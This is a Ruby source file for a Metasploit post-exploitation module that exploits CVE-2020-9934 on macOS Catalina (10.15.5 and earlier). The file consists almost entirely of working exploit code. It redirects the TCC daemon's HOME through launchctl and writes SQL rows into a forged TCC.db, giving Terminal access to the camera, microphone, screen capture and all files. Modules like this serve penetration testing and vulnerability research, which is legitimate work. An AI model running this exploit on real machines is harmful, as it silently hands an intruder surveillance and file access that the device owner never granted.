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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::OSX::Priv
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  include Msf::Post::OSX::System
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Bypass the macOS TCC Framework',
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        'Description' => %q{
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          This module exploits a vulnerability in the TCC daemon on macOS Catalina
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          (<= 10.15.5) in order to grant TCC entitlements. The TCC daemon can be
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          manipulated (by setting the HOME environment variable) to use a new user
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          controlled location as the TCC database. We can then grant ourselves
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          entitlements by inserting them into this new database.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'mattshockl', # discovery
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          'timwr', # metasploit module
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        ],
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        'References' => [
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          ['CVE', '2020-9934'],
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          ['URL', 'https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8'],
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          ['URL', 'https://github.com/mattshockl/CVE-2020-9934'],
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        ],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
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          'Reliability' => []
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        },
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        'Platform' => [ 'osx' ],
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        'SessionTypes' => [ 'shell', 'meterpreter' ]
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      )
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    )
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    register_advanced_options([
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      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
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    ])
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  end
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  def check
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    system_version = get_system_version
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    unless system_version
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      return Exploit::CheckCode::Unknown
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    end
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    version = Rex::Version.new(system_version)
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    if version >= Rex::Version.new('10.15.6')
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      return Exploit::CheckCode::Safe
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    elsif version < Rex::Version.new('10.15.0')
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      return Exploit::CheckCode::Unknown
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    else
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      return Exploit::CheckCode::Appears
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    end
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  end
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  def run
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    if check != Exploit::CheckCode::Appears
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      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
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    end
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    unless writable? datastore['WritableDir']
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      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
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    end
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    tmpdir = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha(8)}"
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    tccdir = "#{tmpdir}/Library/Application Support/com.apple.TCC"
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    tccdb = "#{tccdir}/TCC.db"
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    print_status("Creating TCC directory #{tccdir}")
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    cmd_exec("mkdir -p '#{tccdir}'")
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    cmd_exec("launchctl setenv HOME '#{tmpdir}'")
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    cmd_exec('launchctl stop com.apple.tccd && launchctl start com.apple.tccd')
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    unless file_exist?(tccdb)
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      print_error("No fake TCC DB found: #{tccdb}")
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      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
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    end
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    print_good("fake TCC DB found: #{tccdb}")
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    tcc_services = [
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      'kTCCServiceCamera', 'kTCCServiceMicrophone', 'kTCCServiceAll', 'kTCCServiceScreenCapture', 'kTCCServiceSystemPolicyDocumentsFolder', 'kTCCService',
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      'kTCCServiceSystemPolicyDeveloperFiles', 'kTCCServiceSystemPolicyDesktopFolder', 'kTCCServiceSystemPolicyAllFiles', 'kTCCServiceSystemPolicyNetworkVolumes',
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      'kTCCServiceSystemPolicySysAdminFiles', 'kTCCServiceSystemPolicyDownloadsFolder'
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    ]
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    bundle = 'com.apple.Terminal'
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    csreq = 'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003'
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    isfile = '0'
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    timestamp = 1.year.from_now.to_i.to_s
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    for service in tcc_services
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      sql_insert = "INSERT INTO access VALUES('#{service}', '#{bundle}', #{isfile}, 1, 1, X'#{csreq}', NULL, NULL, 'UNUSED', NULL, NULL, #{timestamp});"
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      sqloutput = cmd_exec("sqlite3 '#{tccdb}' \"#{sql_insert}\"")
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      if sqloutput && !sqloutput.empty?
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        print_error("Output: #{sqloutput.length}")
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      end
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    end
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    print_good('TCC.db was successfully updated!')
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    cleanup_command = 'launchctl unsetenv HOME && launchctl stop com.apple.tccd && launchctl start com.apple.tccd'
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    cleanup_command << "\nrm -rf '#{tmpdir}'"
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    print_status("To cleanup, run:\n#{cleanup_command}\n")
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  end
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end
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